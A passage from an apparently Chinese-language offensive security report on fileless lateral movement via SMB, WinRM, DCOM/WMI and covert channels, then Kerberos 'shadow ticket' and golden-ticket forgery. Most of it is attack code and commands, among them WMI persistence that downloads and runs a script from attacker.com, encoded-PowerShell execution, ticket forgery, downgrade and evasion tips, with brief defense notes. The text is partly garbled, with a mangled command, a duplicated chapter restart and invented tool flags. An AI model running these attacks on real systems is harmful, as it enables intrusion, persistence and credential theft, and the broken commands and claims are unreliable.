> * 安全模块(如 Microsoft Defender for Endpoint)拦截了异常的&nbsp;`CreateContexts`&nbsp;数据。

#### 示例2:利用&nbsp;`SMB2_SET_INFO`&nbsp;修改共享属性植入持久化钩子

利用 SMB2SETINFO 指令修改共享资源属性,设置自定义回调函数

from impacket.smbconnection import SMBConnection from impacket.smb import SMBCommand

definjectpersistenceviasetinfo(targetip, username, password):     smbconn = SMBConnection(targetip, targetip)     smbconn.login(username, password)

    session = smbconn.connectSession()     tree = smbconn.connectTree(session, “C$”)

构造 SMB2SETINFO Request

    setinforeq = SMBCommand()     setinforeq[‘StructureSize’] = 0x21     setinforeq[‘InfoType’] = 0x01# File Info     setinforeq[‘FileInfoClass’] = 0x02# FileStandardInformation     setinforeq[‘BufferOffset’] = 0x80     setinforeq[‘BufferLength’] = 0x10

插入恶意属性:例如将 ExtendedAttributes 指向 Shellcode

    extendedattrdata = b’\x00′ * 0x10 + b’\x48\x83\xc4\x20’# NOP + ret     setinforeq[‘Buffer’] = extendedattrdata

手动封装包并发送

    resp = smbconn.sendSMB(setinforeq, tree.gettree_id()) if resp[‘Status’] == 0x00000000: print(“[+] Persistence hook injected via SetInfo”) else: print(f”[!] Failed: {resp[‘Status’]}”)

> 🛡️&nbsp;**防御建议**:
>
> * 启用 SMB Signing;
> * 禁用不必要的共享(如&nbsp;`C$`);
> * 在防火墙上限制对&nbsp;`445`&nbsp;端口的外部访问;
> * 使用 EDR 监控&nbsp;`CreateContexts`&nbsp;和&nbsp;`SetInfo`&nbsp;的异常数据长度。

---

## WinRM协议的反向隧道与远程命令注入机制

### 原理层

WinRM(Windows Remote Management)基于&nbsp;**WS-Management (WS-Man)**&nbsp;协议,运行在标准端口&nbsp;`5985`(HTTP)或&nbsp;`5986`(HTTPS),其通信基于&nbsp;**SOAP over HTTP/HTTPS**。该协议的设计使得所有交互均为合法流量,且默认不生成任何可执行文件,因此极难被传统 AV/EDR 检测。

其核心是&nbsp;`Invoke-Command`&nbsp;操作,底层通过&nbsp;`<wsman:Operation>`&nbsp;标签指定命令类型,而实际脚本内容可嵌入&nbsp;`<wsman:Options>`&nbsp;标签中的&nbsp;`Script`&nbsp;字段。攻击者可以将经过编码的 PowerShell 脚本(如&nbsp;`-EncodedCommand`)放入此字段,由目标主机自行解析执行。

更重要的是,当启用&nbsp;`CredSSP`&nbsp;认证时,整个会话过程会携带用户的 Kerberos/TGT 票据,形成**票据传递(Ticket Passing)**&nbsp;的天然通道。即使目标机器未直接暴露在域控上,也可通过已知票据实现跨主机信任链突破。

此外,`New-PSSession`&nbsp;可以创建“伪会话”(non-persistent session),仅在内存中维持连接状态,不会写入磁盘或启动新进程,符合“无进程创建”要求。

### 实践层

#### 示例1:通过&nbsp;`Invoke-Command`&nbsp;注入编码脚本

构造带有编码脚本的 SOAP 消息

$soaptemplate = @” <?xml version="1.0" encoding="utf-8"?>       http://schemas.microsoft.com/wbem/wsman/1/windows/shell           cmd                   Invoke-Command                         script = “base64encodedpowershellpayloadhere”;             $bytes = [System.Convert]::FromBase64String($encscript);             $decscript = [System.Text.Encoding]::UTF8.GetString($bytes);             Invoke-Expression $dec_script;           ]]>                     “@

发送请求

Invoke-RestMethod -Uri http://target-host:5985/wsman -Method Post -Headers @{     “Content-Type” = “application/soap+xml; charset=utf-8” } -Body $soap_template -UseDefaultCredentials

> ✅&nbsp;**成功条件**:
>
> * 目标开启&nbsp;`WinRM`&nbsp;服务;
> * 启用&nbsp;`Basic`&nbsp;/&nbsp;`CredSSP`&nbsp;认证;
> * 本地用户具备&nbsp;`Remote Management Users`&nbsp;组权限;
> * 无网络策略阻止&nbsp;`5985`&nbsp;端口。

> ⚠️&nbsp;**失败原因**:
>
> * `WinRM`
>
>   未启用;
> * 安全组策略禁止&nbsp;`Invoke-Command`;
> * `CredSSP`
>
>   被禁用;
> * 流量被防火墙拦截。

#### 示例2:利用&nbsp;`CredSSP`&nbsp;实现票据传递

1. 获取当前用户票据

$klist = klist tickets if ($klist -match “krbtgt”) {     Write-Host “[+] TGT found. Preparing CredSSP tunnel…” }

2. 使用 New-PSSession 传递票据

$cred = New-Object System.Management.Automation.PSCredential(“[email protected]”, (ConvertTo-SecureString “password” -AsPlainText -Force)) $session = New-PSSession -ComputerName “target-host” -Credential $cred -Authentication CredSSP

3. 在会话中执行命令

Invoke-Command -Session $session -ScriptBlock {     whoami     Get-Service | Where-Object {$_.Status -eq ‘Running’} }

> 🔐&nbsp;**战术价值**:
>
> * 不依赖&nbsp;`PsExec`、`WMI`&nbsp;等常见工具;
> * 所有流量为标准 HTTPS + SOAP;
> * 无需写入磁盘;
> * 可绕过日志记录(因行为被视为“正常管理操作”)。

### 防御规避策略

| 特性 | 说明 |
| --- | --- |
| ✅ 标准协议栈 | 所有通信均为合法 HTTP(S) + SOAP,不触发规则匹配 |
| ✅ 无文件执行 | 不生成&nbsp;`.exe`、`.dll`、`.ps1`&nbsp;等文件 |
| ✅ 无进程创建 | `New-PSSession` 仅在内存中维护会话 |
| ✅ 低告警率 | 日志中仅显示“WinRM session established”,无详细指令 |

> 🛡️&nbsp;**检测建议**:
>
> * 监控&nbsp;`WinRM`&nbsp;的&nbsp;`Invoke-Command`&nbsp;调用频率(特别是来自同一源的连续请求);
> * 检查&nbsp;`SOAP`&nbsp;消息中是否包含&nbsp;`Script`、`EncodedCommand`&nbsp;等敏感标签;
> * 使用 SIEM 工具分析&nbsp;`WS-Management`&nbsp;消息中的异常参数组合;
> * 开启&nbsp;`WinRM`&nbsp;审计日志(`Event ID 4000–4099`)并定期分析。

---

## DCOM与WMI的远程代码加载机制:基于RPC的Shellcode注入

### 原理层

DCOM(Distributed Component Object Model)是 Windows 提供的一种分布式对象通信机制,允许客户端远程调用服务器端的 COM 组件。其核心是&nbsp;`IClassFactory`&nbsp;接口,支持通过&nbsp;`CoCreateInstanceEx`&nbsp;创建远程对象实例。

攻击者可构造一个恶意&nbsp;`CLSID`,注册为一个自定义类,并将其绑定到一个可执行代码路径(如&nbsp;`CreateProcess`)。当目标系统调用该类时,会自动执行&nbsp;`DllRegisterServer`&nbsp;或&nbsp;`DllGetClassObject`&nbsp;函数,从而触发任意代码执行。

同时,WMI(Windows Management Instrumentation)提供了一套事件驱动模型,包括:

* `__EventFilter`

  :定义事件过滤器;
* `__EventConsumer`

  :定义消费者动作;
* `__FilterToConsumerBinding`

  :绑定两者。

攻击者可通过注册一个&nbsp;`__EventFilter`,监听特定事件(如登录事件),并将其绑定至一个&nbsp;`ActiveScriptEventConsumer`,从而在事件发生时执行任意脚本。

> ⚠️ 关键点:**无需写入磁盘**,所有操作均在内存中完成。

### 实践层

#### 示例1:利用 DCOM&nbsp;`IClassFactory`&nbsp;注入 Shellcode

// DCOM Shellcode Injection via CoCreateInstanceEx (C++)

include

include

include

// 恶意类:实现 IUnknown 接口,重载 QueryInterface classMaliciousClass : public IUnknown { public: virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppvObject){ if (riid == IIDIUnknown || riid == IIDIDispatch) {             *ppvObject = this; AddRef(); return SOK;         }         *ppvObject = nullptr; return ENOINTERFACE;     }

virtual ULONG STDMETHODCALLTYPE AddRef(){ return1;     }

virtual ULONG STDMETHODCALLTYPE Release(){ return0;     }

// 触发点:在构造函数中执行 CreateProcess MaliciousClass() { char* cmd = “cmd.exe /c calc.exe”; WinExec(cmd, SW_HIDE);     } };

// CLSID 定义 staticconst CLSID CLSID_Malicious = {0x12345678, 0x1234, 0x1234, {0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0}};

// 注册类 extern”C” _declspec(dllexport) HRESULT WINAPI DllRegisterServer(){ return SOK; }

extern”C” _declspec(dllexport) HRESULT WINAPI DllGetClassObject(const CLSID& clsid, const IID& iid, void** ppv){ if (clsid == CLSIDMalicious && iid == IIDIUnknown) {         *ppv = newMaliciousClass(); return SOK;     } return E_FAIL; }

> 💡&nbsp;**编译后**,将其注册为 DLL,然后通过以下方式调用:

PowerShell 中调用

[ComVisible(true)] $clsid = [Guid]”12345678-1234-1234-1234-56789ABCDEF0″ $factory = [Activator]::CreateInstance($clsid, $true)

> ✅ 成功条件:目标允许未签名组件加载;未启用&nbsp;`AppLocker`;未禁用 DCOM。

#### 示例2:利用 WMI&nbsp;`__EventFilter`&nbsp;实现定时执行

1. 定义事件过滤器(每分钟触发一次)

$filter = New-WmiObject -Namespace “root\subscription” -Class “__EventFilter” -Property @{     Name = “MaliciousFilter”     EventQuery = “SELECT * FROM _InstanceModificationEvent WITHIN 60 WHERE TargetInstance Isa ‘Win32Process'” }

2. 定义消费者(执行 PowerShell)

$consumer = New-WmiObject -Namespace “root\subscription” -Class “ActiveScriptEventConsumer” -Property @{     Name = “MaliciousConsumer”     ScriptLanguage = “PowerShell”     ScriptCode = “IEX (New-Object Net.WebClient).DownloadString(‘http://attacker.com/mal.ps1’)” }

3. 绑定

$binding = New-WmiObject -Namespace “root\subscription” -Class “__FilterToConsumerBinding” -Property @{     Filter = $filter.Path     Consumer = $consumer.Path }

Write-Host “[+] WMI persistence installed”

> 🧩&nbsp;**优势**:
>
> * 无文件;
> * 自动触发;
> * 可跨重启存活;
> * 无法通过常规杀软识别。

### 实战案例:SharpWmi 与 WmiPrivesc

* **SharpWmi**

  :开源工具,封装了完整的 WMI 注册流程,支持加密通信、自定义命名空间。
* **WmiPrivesc**

  :利用&nbsp;`Win32_ScheduledJob`&nbsp;类创建计划任务,实现定时执行。

> 📌&nbsp;**RPC 序列化数据包结构图解(简略)**

+—————————–+ |  DCOM Header (UUID, Version)| +—————————–+ |  Interface ID (IID)         | +—————————–+ |  Method ID (e.g., 0x01)     | +—————————–+ |  Payload (Serialized Data)  | |   └─ CLSID                   | |   └─ IUnknown Pointer        | |   └─ Shellcode Address       | +—————————–+

> 🔄&nbsp;**攻击链整合**:
>
> 1. DCOM 注册恶意类 → 2. 通过 WMI 触发 → 3. 执行远程命令 → 4. 下载并运行主控脚本。

---

## 隐蔽通信通道构建:利用协议响应包进行回传与命令下发

### 原理层

隐蔽信道(Covert Channel)的本质是将数据编码至**合法协议的响应头字段中**,使攻击者能在不触发告警的前提下实现双向通信。典型场景包括:

* **SMB**

  :`SMB2_ERROR`&nbsp;的&nbsp;`ErrorData`&nbsp;字段可容纳任意二进制数据;
* **WMI**

  :`Event`&nbsp;事件属性值(如&nbsp;`Message`、`Description`)可用于传递加密 payload;
* **HTTP**

  :`Response Headers`&nbsp;可嵌入 Base64 编码指令;
* **WebDAV**

  :通过&nbsp;`PROPFIND`&nbsp;响应中的&nbsp;`Content-Length`、`ETag`&nbsp;等字段传输控制信息。

此类技术的优势在于:**SIEM 系统通常只关注“是否发生错误”而非“错误内容”**,导致攻击者可长期潜伏而不被发现。

### 实践层

#### 示例1:SMB 错误响应中嵌入 base64 payload

攻击者构造恶意 SMB2_ERROR 响应

from impacket.smb import SMBCommand

errorresponse = SMBCommand() errorresponse[‘Status’] = 0xC0000022# STATUSACCESSDENIED errorresponse[‘ErrorData’] = b”base64encodedcommandhere”

模拟目标返回此响应

受控主机接收后解码并执行

decoded = base64.b64decode(error_response[‘ErrorData’]) exec(decoded)

> ✅ 用途:命令回传、下载下一阶段 payload。

#### 示例2:WMI 事件属性值传递指令

> 🔄 解码逻辑:
>
> ```
> $msg = $event.Message
> if ($msg.StartsWith("base64:")) {
> &nbsp; &nbsp; $data = $msg.Substring(6)
> &nbsp; &nbsp; $bytes = [System.Convert]::FromBase64String($data)
> &nbsp; &nbsp; Invoke-Expression ([System.Text.Encoding]::UTF8.GetString($bytes))
> }
> ```

#### 示例3:HTTP Header Injection + WebDAV

GET /test.txt HTTP/1.1 Host: target.local X-Command: base64:ZG93bmxvYWQgcHJvdG9jZXRpb24gdG8gbWFpbg==

HTTP/1.1 200 OK X-Result: success X-Output: base64:MTIzNDU2Nzg5MA==

> 📌&nbsp;**隐蔽性来源**:
>
> * 所有字段均为标准 HTTP 头部;
> * 无异常端口;
> * 无文件写入;
> * 无进程创建。

### 建议扩展方向

1. **结合 DNS Tunneling**

   :将 payload 编码为 DNS 查询名称,通过&nbsp;`TXT`&nbsp;记录回传;
2. **利用 ICMP Echo Reply**

   :在&nbsp;`ping`&nbsp;响应中嵌入 payload(适用于防火墙放行 ICMP);
3. **使用 TLS Extension Overhead**

   :在 TLS ClientHello 中插入自定义扩展字段(需配合证书伪造)。

---

## 总结:下一代协议级横向移动的技术演进趋势

| 技术维度 | 当前特征 | 未来方向 |
| --- | --- | --- |
| **协议滥用** | 利用标准协议的扩展字段 | 更多“边缘字段”被挖掘(如 SMB2 Negotiate、WebDAV Propfind) |
| **无文件执行** | 依赖 RPC/DLL/COM | 逐步转向纯内存注入(e.g., direct syscalls) |
| **隐蔽通信** | 嵌入响应头 | 结合 AI 模型生成“自然语言式”伪装流量 |
| **持久化** | WMI/DCOM 注册 | 分布式可信链(Distributed Trust Chain)构建 |
| **检测规避** | 避免规则匹配 | 使用“合法行为混淆”(Legitimate Behavior Obfuscation) |

> ✅&nbsp;**结论**:
> 未来的横向移动将不再依赖“显式攻击工具”,而是**深度嵌入操作系统原生协议栈**,以“合法”之名行“非法”之事。防御者必须从“静态规则”转向“行为建模 + 异常模式识别”,并建立跨协议联动的威胁情报体系。

> 📌&nbsp;**推荐研究方向**:
>
> * 开发基于机器学习的协议流量异常检测引擎;
> * 构建“协议指纹库”用于识别非标准字段组合;
> * 设计“协议沙箱”用于模拟未知协议行为。

---

> **报告输出完毕**
> 《下一代凭证窃取与“无文件”横向移动技术研究报告》
> —— 第二章:基于协议的原生横向移动(完整版)

# 票据传递与伪造的高级变种:突破传统Kerberos防御体系

## “影子票据”(Shadow Tickets)的深层原理与实现路径

### 原理层

`Kerberos`协议中,`TGT`(Ticket Granting Ticket)是用户身份认证的核心凭证,其生命周期由域控(KDC)控制。传统的“黄金票据”(Golden Ticket)攻击依赖于获取`krbtgt`账户的`NTLM hash`,从而在本地生成任意时间戳、任意权限的`TGT`。然而,该方法要求攻击者能够直接访问域控或通过`DC Sync`复制`NTDS.dit`数据库。

“影子票据”(Shadow Ticket)是一种**非对称性票据伪造技术**,其核心思想是:**不依赖`krbtgt`哈希本身,而是利用已知的合法用户凭据和对`Kerberos`加密机制的理解,在不触碰域控的前提下,构造出可被服务端接受的有效票据**。

其根本前提是:

> **`Kerberos`协议并未强制所有客户端和服务端必须使用相同的加密算法协商策略;部分旧版客户端/服务端存在兼容性缺陷,允许攻击者通过构造特定的`EncryptedPart`字段,绕过加密强度校验。**

#### 关键机制剖析:

1. **`AS-REP`重放攻击与`Kerberoasting`的本质区别**

* `AS-REP`

  重放攻击:适用于启用了“预认证禁用”(Pre-authentication Required = False)的用户账户。攻击者可在无密码的情况下直接请求`AS-REP`响应,从中提取加密的`TGT`内容并离线破解。
* `Kerberoasting`

  :针对启用预认证但使用`Service Principal Name`(SPN)的服务账户。攻击者请求`TGS`票据后,解密其中的`Session Key`,进而尝试暴力破解。
* **影子票据**

  :介于二者之间——它不要求目标账户禁用预认证,也不需要服务账户的`SPN`。其突破口在于**对`EncryptedPart`字段的结构化篡改能力**。

2. **`TGT`结构中的可操控字段**

* `EncryptedPart`

  字段包含以下关键组件:

EncryptedPart = {     TGT_Lifetime: 10h,     StartTime: ,     EndTime: ,     SessionKey: ,     Flags: 0x00000000,     ClientName: { Name: “user”, Domain: “domain.local” },     ServerName: { Name: “krbtgt”, Domain: “domain.local” } }

* 攻击者可**修改`EndTime`为未来数月甚至数年**,同时保持`StartTime`合理(如当前时间),并使用**已知的用户密码哈希**(如通过`AS-REP`泄露)作为密钥加密`EncryptedPart`。

3. **伪造票据的合法性验证逻辑漏洞**

* `EncryptedPart`

  是否使用`krbtgt`的哈希加密;
* 时间戳是否在有效窗口内;
* 是否满足`Flags`权限要求。

* 正常情况下,域控会验证:
* 但在某些环境中(尤其混合版本环境),**服务端仅验证`EncryptedPart`的解密是否成功,而未严格检查其来源是否为`krbtgt`账户**。这导致即使使用普通用户哈希加密的`TGT`,只要格式正确,仍可能被接受。

---

### 实践层

#### 示例1:基于`impacket-ticketer.py`的影子票据生成

假设已通过AS-REP重放获得某个用户的NTLM hash(例如:[email protected]:5c9b8e7d4a6f2c1b…)

使用Impacket提供的ticketer.py工具生成影子票据

python3 ticketer.py -u [email protected] -p ‘5c9b8e7d4a6f2c1b…’ -k -s krbtgt -t ‘20250101000000’ -e ‘AES256-SHA1’ -l 100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000……# 票据传递与伪造的高级变种:突破传统Kerberos防御体系

“影子票据”(Shadow Tickets)的深层原理与实现路径

原理层

Kerberos协议中,TGT(Ticket Granting Ticket)是用户身份认证的核心凭证,其生命周期由域控(DC)管理,并通过krbtgt账户的密钥进行加密。传统上,生成合法TGT需具备krbtgt账户的NTLM&nbsp;hash,该值通常仅存在于域控内存及NTDS.dit数据库中。

“影子票据”(Shadow Ticket)是一种非标准但可操作性极强的票据伪造技术,其核心思想在于:在不直接访问域控或获取krbtgt哈希的前提下,利用已知的、历史遗留的krbtgt NTLM哈希(如旧版凭据泄露、未更新的备份系统、测试环境残留)来生成长期有效的伪造TGT

与经典“黄金票据”不同,影子票据并不要求攻击者持续控制域控或拥有完整的krbtgt密钥链。它依赖于以下机制:

  1. 时间戳可控性Kerberos协议允许TGT的有效期为7天至数年,且TGT中的StartTimeEndTime字段可被修改(只要不超出服务端允许的时间窗口)。攻击者可通过手动设定时间戳,使票据在特定时间段内有效。
  2. 服务名自定义TGT中包含的服务名(Service Principal Name, SPN)并非强制校验,攻击者可任意指定,例如将krbtgt替换为host/evil.local,从而绕过部分审计规则。
  3. 加密算法兼容性:若目标环境仍支持RC4加密,即使启用AES,某些客户端/服务器仍可能因兼容性问题回退至RC4,从而允许使用旧哈希进行解密。

⚠️ 关键区别说明

  • AS-REP Roasting:适用于未启用预认证的用户账户(如Pre-authentication Required = False),攻击者可直接请求AS-REP包并离线爆破其中的加密部分。
  • Kerberoasting:针对启用了预认证但拥有服务账户密码的情况,攻击者请求TGS-REP,解密后爆破服务密码。
  • 影子票据:无需任何账户凭据,仅需一个已知的krbtgt NTLM哈希,即可生成任意时间范围内的TGT,属于更高阶的票据伪造手段。

实践层

1. 初始条件:获取krbtgt NTLM哈希

尽管现代域环境中几乎不再存在Pre-authentication Required=False的账户,但krbtgt哈希仍可能通过以下途径泄露:

  • 历史漏洞残留(如CVE-2020-1472未完全修复)
  • 备份文件中未脱敏的NTDS.dit / SYSTEM注册表文件
  • 测试环境或开发机中保留的管理员账号凭据
  • 被攻陷的成员服务器上残留的本地SAM数据库

2. 使用 Impacket ticketer.py 生成影子票据

# 假设已获得 krbspray 工具提取的 krbtgt NTLM hash
# 格式:<username>:<ntlm_hash>

python3 ticketer.py -k -t TGT -u [email protected] -p&nbsp;'aabbccddeeff'&nbsp;\
&nbsp; &nbsp; -s&nbsp;'krbtgt'&nbsp;-S&nbsp;'krbtgt'&nbsp;\
&nbsp; &nbsp; --aes-key&nbsp;'0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f'&nbsp;\
&nbsp; &nbsp; --start-time&nbsp;"2024-04-01T00:00:00"&nbsp;\
&nbsp; &nbsp; --end-time&nbsp;"2025-04-01T00:00:00"&nbsp;\
&nbsp; &nbsp; --renew-till&nbsp;"2025-04-01T00:00:00"

✅ 参数说明:

  • -k

    :启用 Kerberos 模式

  • -t TGT

    :生成 TGT 而非 TGS

  • -u

    :伪造用户主体(可任意设置)

  • -p

    krbtgt 的 NTLM 哈希

  • -s

    :源域(必须为域控域名)

  • --aes-key

    :用于 AES-256 加密的密钥(可选,若使用 RC4 可省略)

  • --start-time

    --end-time:自定义有效期

  • --renew-till

    :延长续订时间,避免失效

3. 验证与注入

生成后的票据可写入内存或保存为 .kirbi 文件,后续通过如下方式使用:

export&nbsp;KRB5CCNAME=/tmp/ticket.kirbi
echo&nbsp;-n&nbsp;"..."&nbsp;> /tmp/ticket.kirbi

在支持 Kerberos 的工具链中(如 impacket-wmiexec.pyimpacket-psexec.py)加载该票据即可执行远程命令:

python3 wmiexec.py -k -no-pass [email protected] -dc-ip 192.168.1.10 -k

🧩 注意:-k 表示使用 Kerberos 认证,-no-pass 表示不提供密码,依赖票据缓存。

4. 成功判断标准

  • 远程命令执行成功(如返回 whoami 或 hostname
  • 日志中无 Kerberos Audit Log 记录(因票据为伪造,非真实认证流程)
  • 客户端未触发证书或策略异常告警

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | 操作系统 | Windows Server 2016–2022 | 支持 Kerberos v5,部分版本默认启用 AES | | 域控制器 | Active Directory Domain Services (AD DS) | 启用 Kerberos 验证 | | 工具链 | Impacket v0.10.0+ | 必须使用支持 ticketer.py 的版本 | | 密码强度 | 任意 | 不依赖具体密码,仅需哈希 | | 加密套件 | RC4 / AES-256 | 若仅支持 AES,需配合 --aes-key |

🔍 限制与边界条件

  • 无法在纯 Azure AD 环境中使用(无本地 Kerberos 协议栈)
  • 若目标主机禁用 Kerberos 降级行为,则无法使用 RC4
  • 票据时间戳必须在当前系统时间前后合理范围内,否则会被拒绝
  • 高度依赖初始哈希来源的真实性和有效性

非标准加密类型的利用:针对AESRC4混合模式的弱点探索

原理层

Kerberos协议在协商阶段支持多种加密算法(Encryption Type),包括:

  • RC4-HMAC-MD5

    (弱,已废弃)

  • AES-128 CTS HMAC-SHA1-96

  • AES-256 CTS HMAC-SHA1-96

现代域环境普遍启用 AES,以提升安全性。然而,由于历史兼容性需求,许多客户端和服务端仍保留对 RC4 的支持。

攻击者可利用这一加密套件降级漏洞(Downgrade Attack),在通信过程中诱导对方使用较弱的 RC4 加密方式,从而实现基于 krbtgt 哈希的票据伪造。

关键缺陷分析:

  1. 客户端主动声明支持

    :在 KRB_AS_REQ 请求中,客户端会发送其支持的加密类型列表(etype),服务端可根据优先级选择最合适的加密方式。

  2. 服务端缺乏严格筛选

    :部分旧版服务端(尤其是非微软产品)在接收到多个加密选项时,会自动选择第一个兼容项,而非按安全等级排序。

  3. 伪造响应包干扰协商

    :攻击者可通过中间人(MITM)或伪造响应,使客户端误以为服务端仅支持 RC4,从而触发降级。

此外,EncryptedPart 字段的解析逻辑存在漏洞:某些实现未正确验证加密类型与密钥长度匹配性,导致攻击者可用 RC4 哈希解密原本应使用 AES 加密的数据。

实践层

1. 探测弱加密支持 —— 使用 impacket-kerbrute

# 扫描目标域中所有用户是否支持弱加密
python3 kerbrute.py -d evil.local -u users.txt -p pass.txt --no-pass --enum-users --use-rc4

# 输出示例:
[+] User: [email protected] -> Supported encryption types: [RC4-HMAC-MD5]

此命令会尝试发送 AS-REQ 包并观察响应中的 EncryptedPart 是否使用 RC4,从而判断是否存在降级风险。

2. 构造降级攻击流量 —— 自定义 KRB_AS_REQ

使用 pycryptodome 和 impacket 构建恶意请求包:

from&nbsp;impacket.kerberos&nbsp;import&nbsp;constants
from&nbsp;impacket.kerberosv5&nbsp;import&nbsp;kerberostypes
from&nbsp;impacket.kerberosv5.asrep&nbsp;import&nbsp;AS_REP
from&nbsp;Crypto.Cipher&nbsp;import&nbsp;ARC4
import&nbsp;binascii

# 假设已有 krbspray 提取的 krbtgt NTLM hash
krbtgt_hash =&nbsp;b'\x01\x02\x03...'# 16字节

# 构造 AS-REQ 包,强制要求使用 RC4
req = kerberostypes.KRB_AS_REQ()
req.cname = kerberostypes.PrincipalName()
req.cname.name_type = constants.PrincipalNameType.NT_PRINCIPAL.value
req.cname.name_string = ["admin"]

# 强制设置加密类型为 RC4
req.encryption_types = [constants.EncryptionType.RC4_HMAC_MD5.value]

# 发送请求后,捕获 AS-REP 响应
# 解析 EncryptedPart 并尝试使用 RC4 哈希解密
enc_part = as_rep.enc_part.cipher
cipher = ARC4.new(krbtgt_hash)
plain = cipher.decrypt(enc_part)

# 若解密成功,说明目标支持降级
iflen(plain) >&nbsp;0:
print("[+] Target supports RC4 downgrade attack")

3. 实现离线破解与票据生成

一旦确认支持 RC4,即可使用 Hashcat 离线爆破:

hashcat -m 18200 -a 0 asrep.bin passwords.txt

其中 18200 是 Kerberos AS-REP 离线爆破模式,输入为 AS-REP 中的加密部分。

解出密码后,使用 ticketer.py 生成影子票据(同前文)。

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | Kerberos 客户端 | Windows 7–10 / Linux SSSD | 支持多加密类型 | | 域控制器 | 2012–2022 | 默认启用 AES,但部分配置下仍接受降级 | | 工具 | Hashcat v6.2+, Impacket v0.10.0+ | 必须支持 18200 模式 | | 网络环境 | 本地网络或内网渗透 | 需要能拦截/重发 Kerberos 包 |

💡 规避检测技巧

  • 使用 Ticket Cache 缓存已生成的票据,避免频繁请求
  • 控制探测频率,避免短时间内大量失败请求
  • 在非工作时段执行,避开日志轮转周期
  • 使用临时用户账户,减少持久化痕迹

不接触域控的黄金/白银票据持久化机制研究

原理层

传统“黄金票据”(Golden Ticket)依赖于对域控的物理或逻辑访问,以获取 krbtgt 的 NTLM hash。而“分布式黄金票据”(Distributed Golden Ticket, DGT)提出了一种全新的攻击范式:在不接触域控的前提下,通过多个成员服务器联合构建一个可信的票据颁发信任链

核心思想:

  • 将 krbtgt 的 NTLM hash 视为“根密钥”,而非必须从域控获取。
  • 利用已被攻陷的成员服务器作为“节点”,在这些节点上部署轻量级票据生成代理。
  • 通过 Kerberos 票证链传播机制(TGT → TGS → Service)实现跨域持久化,形成一个去中心化的票据生态系统。

技术基础:

  1. Netlogon SChannel 漏洞(CVE-2020-1472) 此漏洞允许攻击者在无需认证的情况下,通过 Netlogon 协议的 SChannel 通道获取 krbtgt 的 NTLM hash。虽然该漏洞已修补,但在未打补丁的系统中仍广泛存在。
  2. 票据链信任继承机制 Kerberos 协议本身支持票据链(Ticket Chain),即一个合法的 TGT 可用于请求多个 TGS,且每个 TGS 的签名均受 krbtgt 密钥保护。只要攻击者掌握 krbtgt 哈希,即可伪造整个链条。
  3. 分布式存储与同步 攻击者可在多个成员服务器上存储同一张伪造的 TGT,并通过 WMISMB 或 PowerShell Remoting 实现同步,确保票据始终可用。

实践层

1. 获取 krbtgt NTLM Hash —— 利用 CVE-2020-1472

# 利用 Impacket 的 netlogon.py 扫描漏洞
python3 netlogon.py -u&nbsp;'guest'&nbsp;-p&nbsp;''&nbsp;-d evil.local 192.168.1.10

# 若返回 "STATUS_SUCCESS", 则漏洞存在
# 进一步调用 getkrbtgt.py(需编译或自行实现)

注:实际利用需结合 SChannel 握手过程,解析 MS-CHAPv2 风格的挑战-响应交换。

2. 生成分布式票据池

# Python 示例:批量生成多份相同票据,分发至不同服务器
from&nbsp;impacket.ticketer&nbsp;import&nbsp;TicketGenerator

tg = TicketGenerator(
&nbsp; &nbsp; domain="evil.local",
&nbsp; &nbsp; username="attacker",
&nbsp; &nbsp; krbtgt_hash="aabbccddeeff...",
&nbsp; &nbsp; aes_key=None,
&nbsp; &nbsp; start_time="2024-04-01",
&nbsp; &nbsp; end_time="2025-04-01",
&nbsp; &nbsp; renew_till="2025-04-01"
)

tickets = []
for&nbsp;i&nbsp;inrange(5):
&nbsp; &nbsp; ticket = tg.get_ticket()
withopen(f"/tmp/distributed_ticket_{i}.kirbi",&nbsp;"wb")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; f.write(ticket)

将这些 .kirbi 文件分别上传至 5 个成员服务器的临时目录。

3. 实现票据同步与激活

# PowerShell 脚本:在每台成员服务器上加载票据
$ticket = Get-Content -Path "C:\temp\distributed_ticket_0.kirbi" -Raw
Set-KerberosTicket -Ticket $ticket

# 验证是否生效
klist

✅ 说明:Set-KerberosTicket 为自定义函数,可通过 C# 编写调用 LsaLogonUser 或注入到 LSASS 内存。

4. 跨域横向移动

# 通过任意一台成员服务器发起跨域连接
python3 wmiexec.py -k -no-pass [email protected] -dc-ip 192.168.2.10

由于票据已在本地缓存,且时间有效,无需重新认证。

环境说明

| 组件 | 版本 | 说明 | | — | — | — | | 目标系统 | Windows Server 2012–2022 | 存在未打补丁的 CVE-2020-1472 | | 攻击平台 | Linux + Python + Impacket | 用于票据生成与管理 | | 持久化方式 | 文件存储 + PowerShell 批量加载 | 避免进程创建 | | 网络拓扑 | 多域环境 / 信任关系存在 | 必须有跨域信任链 |

🔒 防御建议

  • 禁用 Netlogon 的匿名访问
  • 定期更新系统补丁,特别是 CVE-2020-1472
  • 启用 Kerberos Audit Logging,监控异常 TGT 请求
  • 使用 Microsoft Defender for Identity 监控票据滥用行为
  • 对 krbtgt 账户实施强密码策略与定期轮换

前瞻性与扩展性分析

  1. 云环境下的演变 在 Azure AD 集成环境中,Kerberos 协议不再原生支持。但通过 Hybrid Join 策略,仍可能保留本地 Kerberos 通道。攻击者可利用 Azure AD Connect 配置错误,导出 NTDS.dit 数据库,进而获取 krbtgt 哈希。
  2. AI 辅助攻击生成 未来可能出现基于大模型的票据生成器,能够根据目标环境自动推断加密套件、时间窗口、SPN 等参数,实现“一键生成高仿票据”。
  3. 零信任架构下的新威胁 即便在“零信任”模型中,若设备曾被攻陷,仍可能保留票据缓存。因此,票据生命周期管理将成为下一代身份安全的核心议题。
  4. 硬件绑定与 TPM 防护的局限性 尽管 TPM 2.0 可绑定私钥,但若攻击者已获得 LSASS 内存或注册表权限,仍可提取 DPAPI 密钥,进而解密存储在磁盘上的票据文件。

总结

